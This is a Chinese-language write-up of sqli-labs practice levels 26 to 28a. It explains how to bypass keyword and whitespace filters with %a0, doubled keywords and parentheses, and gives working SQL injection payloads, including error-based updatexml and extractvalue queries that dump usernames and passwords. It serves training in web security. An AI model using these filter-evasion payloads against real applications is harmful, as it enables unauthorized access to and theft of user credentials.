- Less-26
看题目可知过滤了空格和注释符以及'or','and'。
一般来说仅过滤了空格时可用php注释符//来替代空格,但这里//也被过滤了
考虑其他替代编码: - %09 TAB 键(水平)
- %0a 新建一行
- %0b TAB 键(垂直)
- %0c 新的一页
- %0d return 功能
- %a0 空格
测试之后发现只有%a0没被过滤,构造payload:
?id=0'%a0union%a0select%a01,group_concat(username),group_concat(passwoorrd)%a0from%a0users%a0oorrder%a0by%a0'1

注入成功
看了wp发现还有别的注入方法(其实%a0也是看了wp才知道的
例如通过updatexml()或extractvalue()函数来进行报错注入
通过括号代替空格
构造payload:
?id=0'||updatexml(1,(select(concat('$',username,'$',passwoorrd))from(users)where(username='admin')),1)||'1'='1
或
?id=0'||extractvalue(1,(select(concat('$',username,'$',passwoorrd))from(users)where(username='admin')))||'1'='1

注入成功
注:
- 由于sql报错存在字符限制,所以不能使用group_concat()函数一次爆出所有用户名和密码,并且无空格无法使用limit语句,只能通过where语句来控制偏移量(对sql语句还是不够熟悉,不理解为什么limit语句不能用括号代替空格)
- 由于'#'被注释,所以改用'$'做分隔符
- Less-26a
首先判断注入类型
?id=1'
时无回显,加双引号正常回显,单字符型注入
判断括号:
?id=2'||'1'='0
若sql语句为:select * from users where id='$id' limit 0,1
插入后为:select * from users where id='2'||'1'='0' limit 0,1
回返回id=2的查询结果
若sql语句为:select * from users where id=('$id') limit 0,1
插入后为:select * from users where id=('2'||'1'='0') limit 0,1
在('2'||'1'='0')中。'2'被作为布尔型数据ture,匹配结果为ture即为真(1),所以会返回id=1的查询结果
3.png
说明有小括号。
其他同Less-26,不贴payload和图了(懒) - Less-27
看到题目知道过滤了select和union,用同样的办法sselectelect构造payload:
http://sqli-labs.whye.xyz/Less-27/?id=0'%a0uunionnion%a0sselectelect%a01,group_concat(username),group_concat(password)%a0from%a0users%a0order%a0by%a0'1
还是报错,继续加
http://sqli-labs.whye.xyz/Less-27/?id=0'%a0uunionnion%a0ssselectelectelect%a01,group_concat(username),group_concat(password)%a0from%a0users%a0order%a0by%a0'1
注入成功

同样也可以用updatexml()等函数进行报错注入,不再列举
- Less-27a
和Less-27几乎一样只是单字符变成双字符,单引号换双引号即可。 -
Less-28
5.png
直接注入成功,不知道为什么说过滤了union和select,看了wp才知道是过滤了相连的union和select,而这里我们用%a0隔开了union和select,所以未过滤。
-
Less-28a
6.png
又直接注进去了?
看了下代码,把Less-28大部分过滤注释掉了,所以比Less-28更简单了。
网友评论